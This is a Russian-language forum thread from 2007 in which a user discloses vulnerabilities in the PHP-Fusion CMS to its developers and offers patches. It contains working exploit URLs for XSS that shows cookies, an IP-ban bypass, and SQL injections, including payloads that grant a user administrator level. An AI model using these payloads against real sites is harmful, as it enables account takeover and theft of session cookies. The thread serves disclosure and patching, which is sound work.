Сообщений: 6 Зарегистрирован: 08 Мая 2007, 16:00:30 Сказали спасибо 0 раз Статус: offline
Опубликовано 08 Мая 2007, 16:42:36
Лазил я по вашим исходникам (не по всем, я пропустил форум и некоторые скрипты админки- не могу уже тошнит от них)... вот краткий список уязвимостей:
1) XSS в переменной title в скрипте subheader.php
Да я согласен все параметры передаваяемые методом ГЕТ фильтруются но эти фильтры легко обойти, вот так(собственно это можно назвать эксплоитом :):
3) Трудно определить к какой либо категрии третью уязвимость, да и можно ли вообще это назвать уязвимостью, но таким способом украсть куки легче всего...
Если загрузить фотографию ("Добавить фотографию") на какойто сайт то, в админ панели пояаляется ссылка "Нажмите сюда чтобы просмотреть фотографию" Всебы хорошо если загружается нормальная фотография, но не задавались ли вы таким вопросом что будет при просмотре фотогорафии админом с содержнием:
4)Здесь я объеденю корявости в админ панели (пускай требуются права администратора и рядом есть модуль "Панели" дающий выполнение любого php, кода кстати тоже очень опасно!, но все же...)
Рассмотрим скрипт image.php, опасный код в нем:
Вроде бы все нормально, но что будет если переменной ifolder передать другое значение не предусмотренное в "ифах", тогда мы сможем присвоить переменной afolder любое значение, что приводит к просмотру листинга файлов на сервере и загрузке картинки в любой каталог(мелочь но все равно приятно) соответсвенно эксплоиты:
Ко всему указанному выше пока выпустил неофициальные заплатки смотреть в аттаче или здесь http://www.novor.info/patch_for_fusion.rar надеюсь разроботчики поспешат решить эти проблемы... :)
Теперь пожелания:
1) Приделайте картинку с подтверждением в "Обратная связь".
2) Также картинку с подтверждением и для зарегистрированных пользователей в Гостевой.
Остается похвалить разроботчиков, неплохая CMS, почти не уязвимая :), честно говоря был удивлен когда нашел эти уязвимости...
Народ читаем и запоминаем! Не помогаю по ICQ Не помогаю по ЛС
буду просто игнорировать эти сообщения!
Все вопросы задаем на форуме, но предварительно пользуемся поиском!
Народ читаем и запоминаем! Не помогаю по ICQ Не помогаю по ЛС
буду просто игнорировать эти сообщения!
Все вопросы задаем на форуме, но предварительно пользуемся поиском!
Народ читаем и запоминаем! Не помогаю по ICQ Не помогаю по ЛС
буду просто игнорировать эти сообщения!
Все вопросы задаем на форуме, но предварительно пользуемся поиском!
Сообщений: 6 Зарегистрирован: 08 Мая 2007, 16:00:30 Сказали спасибо 0 раз Статус: offline
Опубликовано 24 Августа 2007, 21:52:50
мда в новой версии дырок я пока не нашел
Ну вообщем неправда. Решил я допроверять админку на баги. Нашел одну багу вот она:
1) http://site/administration/attachments_forum.php?delattach=1&post_id=1&delattach=1&download_id=' скуль иньекция требуются права админа.
Дальше залез в файл maincore.php и сразу забыл об админке напрочь и дальше искать не стал. Собсно говоря первое что бросается в глаза это строка:
if (eregi("maincore.php", $_SERVER['PHP_SELF'])) die();
Вроде бы как положенно должно выкидывать если скрипт вызывается напрямую что то типа http://site/maincore.php но многие сервера разрешают обращение к файлам не указывая расширение. То есть вот так http://site/maincore Создается ощущение что это сделанно специально. Ну да ладно.
Следуйщие строки меня убили напрочь, даже не знаю как их раньше не заметил...
// If register_globals is turned off, extract super globals (php 4.2.0+)
if (ini_get('register_globals') != 1) {
if ((isset($_POST) == true) && (is_array($_POST) == true)) extract($_POST, EXTR_OVERWRITE);
if ((isset($_GET) == true) && (is_array($_GET) == true)) extract($_GET, EXTR_OVERWRITE);
}
Если кто то скажет что тут все нормально то он будет как минимум неправ. Смотрим что будет если register_globals отключен. Тогда все пременные извлекаются из масивов GET и POST в глобальные. Что тут не так? А вот что. Если попробовть перезаписать масивы _SERVER, _SESSION, _FILES то можно добиться интресных результатов. (К сожалению тут имеет смысл перезаписывать только массив _SERVER).И к сожалению все ниже приведенные интресности работают при отключенном(!) register_globals.
1) Собсно самое незначительное это обход бана по ip вот так http://site/index.php?_SERVER[REMOTE_ADDR]=123.123.123.123
2) http://site/maincore?_SERVER[REMOTE_ADDR]=1' UNION SELECT 1/* -скуль иньекция. Уязвима строка 312 в файле maincore.php.
3) http://site/index.php?_SERVER[REMOTE_ADDR]=<script>alert()</script> -XSS+раскрытие пути. Требуется отсутствие прав пользователя!. Уязвимы строчки 97 и 98 в файле infusions/user_info_panel/user_info_panel.php
4)(!) Создание пользователя с администраторскими привилегиями. Нужно при регистрации пользователя присвоить _SERVER[REMOTE_ADDR] значение 127.0.0.1', 'A.AC.AD.B.C.CP.DB.DC.D.FQ.F.IM.I.IP.M.N.NC.P.PH.PI.PO.S.SL.S1.S2.S3.S4.S5.S6.S7.SU.UG.U.W.WC.GS.GB', '', '103', '0') /* d. И затем войти под созданным пользователем. См. эксплоит 1.
5)(!) http://site/index.php?_SERVER[REMOTE_ADDR]=123' -скуль иньекция. Оригинальный запрос к базе выглядит вот так
UPDATE fusion_users SET user_lastvisit='time', user_ip='[injection]' WHERE user_id='[you_id]'
Это дает возможность изменять значения в таблице юзеров. Эксплоит для получения прав администратора выглядит так http://site/index.php?_SERVER[REMOTE_ADDR]=123', user_level='103' WHERE user_id=[you_id] /* Требуются права любого пользователя. Файл subheader.php строка 34.
6) http://site/index.php?_SERVER[REMOTE_ADDR]=' -скуль иньекция. Требуются отсутствие прав пользователя!. Файл infusions/online_users_panel/online_users_panel.php строки 19 и 20.
Конечно я думаю тут можно нарыть на основе этого дырок 10. Но дальше я искать не стал...
Латаются эти дырки довольно просто. Лезем в файл maincore.php ищем строку 220
Только это на время. Это как было написанно в какой-то книге "Мы латаем дыры в корабле, когда он сам разваливается попалам" вроде так :). Надеюсь авторы найдут порядочную замену функции extract.
Надеюсь это последнее сообщение о найденных багах...
Народ читаем и запоминаем! Не помогаю по ICQ Не помогаю по ЛС
буду просто игнорировать эти сообщения!
Все вопросы задаем на форуме, но предварительно пользуемся поиском!
Вообщем даже и не объяснишь сходу что он делает. Даже собственно говоря ничего она и не делает. Просто не бывает такого случая чтобы перменная допустим $method была не определенна а переменная $_POST['method'] была определенна (вспомним функцию extract ;) ). То есть $method никогда не проходит фильтрацию. Затем выполняется такой код:
что собственно говоря и приводит к множественным XSS типа: http://site/search.php?forum_id=
http://site/search.php?chars=
и тд
ну а код подобного рода
for ($i=0;$i<sizeof($swords);$i++) {
$ssubject .= "article_subject LIKE '%".$swords[$i]."%'".($i<sizeof($swords)-1?" ".$method." ":"");
$smessage .= "article_article LIKE '%".$swords[$i]."%'".($i<sizeof($swords)-1?" ".$method." ":"");
}
if ($fields==0) {
$fieldsvar = "(".$ssubject.")";
} else if ($fields==1) {
$fieldsvar = "(".$smessage.")";
} else if ($fields==2) {
$fieldsvar = "((".$ssubject.") || (".$smessage."))";
}
$result = dbquery(
"SELECT ta.*,tac.* FROM ".$db_prefix."articles ta
INNER JOIN ".$db_prefix."article_cats tac ON ta.article_cat=tac.article_cat_id
WHERE ".groupaccess('article_cat_access').
(multilang_table("A")?"AND tac.article_cat_language='".LANGUAGE."'":"").
" AND ".$fieldsvar
);
Приводит к SQL injection в переменной $method. http://site/search.php?stext=ыыы+ввв&search=Искать&forum_id=0&stype=all&datelimit=0&fields=2&sort=datestamp&order=0&chars=200&method
=[SQL code]
Латается это все просто лезем в файл search.php. Ищем вот это:
Народ читаем и запоминаем! Не помогаю по ICQ Не помогаю по ЛС
буду просто игнорировать эти сообщения!
Все вопросы задаем на форуме, но предварительно пользуемся поиском!
Сообщений: 6 Зарегистрирован: 08 Мая 2007, 16:00:30 Сказали спасибо 0 раз Статус: offline
Опубликовано 23 Ноября 2007, 13:36:01
pozitiv написал:
ну что...дыры залатали?))))
те залатали-нашлись новые: круговорот багов в системе...
XSS в файле administration/settings_links.php переменная $aidlink не фильтруется. Эксплоит: http://site/administration/settings_links.php?aidlink='><script>alert(document.cookie)</script>
PS для выполнения НЕ требуются права администратора, как может показаться...
Латается очень просто:
Открывается файл administration/settings_links.php и в начало вписывается:
if (!defined("IN_FUSION")) { header("location: ../index.php"); exit; }
Сообщений: 148 Откуда: q11q Зарегистрирован: 24 Сентября 2007, 15:58:13 Сказали спасибо 0 раз Статус: offline
Опубликовано 23 Ноября 2007, 18:29:15
Дмитрий написал:
pozitiv написал:
ну что...дыры залатали?))))
те залатали-нашлись новые: круговорот багов в системе...
XSS в файле administration/settings_links.php переменная $aidlink не фильтруется. Эксплоит: http://site/administration/settings_links.php?aidlink='><script>alert(document.cookie)</script>
PS для выполнения НЕ требуются права администратора, как может показаться...
Латается очень просто:
Открывается файл administration/settings_links.php и в начало вписывается:
if (!defined("IN_FUSION") { header("location: ../index.php" exit; }
Сообщений: 1201 Зарегистрирован: 11 Января 2008, 15:57:19 Сказали спасибо 37 раз Статус: offline
ICQ статус
Опубликовано 25 Апреля 2008, 09:26:11
Дамс, дырочек дстаточно А все исправили?
Кстати, никто гостевую не смотрел? ТАм видимо тоже чтото не так, т.к у меня на сайте при заходе в гостевую в форме ввода постоянно какой то адрес прописан непонятный на месте адреса сайта. Откуда он там может браться???
-------------------- Нужен сайт или красивый оригинальный дизайн? Только лучший и оригинальный дизайн для php-fusion 6, 7, SF! www.artcell.ru-правильный выбор!!!